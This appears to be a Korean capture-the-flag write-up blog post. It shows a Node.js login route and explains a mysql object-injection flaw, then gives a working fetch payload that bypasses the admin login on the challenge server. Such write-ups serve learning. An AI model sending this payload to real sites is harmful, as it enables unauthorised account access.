app.post('/login', (req, res) => {
var userid = req.body.userid;
var userpw = req.body.userpw;
if (userid && userpw) {
connection.query("SELECT * FROM users WHERE userid = ? AND userpw = ?",
[ userid, userpw ],
(error, results, fields) => {
if (error) throw error;
console.log(userid, results)
if (results.length > 0) {
req.session.user = userid;
res.redirect('/');
} else {
res.send("wrong userid or userpw");
}
res.end();
}
);
} else {
res.send("userid or userpw cannot be empty");
}
});
마지막 문제다. 문제화면과 제공된 코드의 일부이다. (login page 코드만 거의 있어서 저것만 첨부했습니다)
이 문제는 nodejs mysql에서 발생하는 취약점이라고 한다. 입력받은 값이 stringifyObjects되지 않았을시에 object 자체가 입력값으로 들어갈수있게 되면서 발생하는 취약점이다.
https://harold.kim/blog/2022/02/nodejs-mysql-vulnerability/
이 블로그 글을 보면 쉽게 이해할 수 있다.
data = {
"userid": "admin",
"userpw": {
"userpw": 1
}
}
fetch("http://ctf-hackingcamp.com:32002/login", {
"headers": {
"content-type": "application/json",
},
"body": JSON.stringify(data),
"method": "POST",
})
.then(r => r.text())
.then(r => { console.log(r); });
이 코드를 콘솔에 입력해주면 되는데 의문이 드는점은 그냥 burp suite로 userpw[userpw]=1을 넘겨주면 왜 안된다는 것이다.
fetch에 대해서 잘 몰라서 계속 파다보니 자바스크립트 기초까지 가버렸다... ajax, xhr, xml 등등 봐도 잘 모르겠다. 아직은 이해를 잘 못하지만 하다보면 이해할 것이라 장담한다. 늘 그랬듯.
solved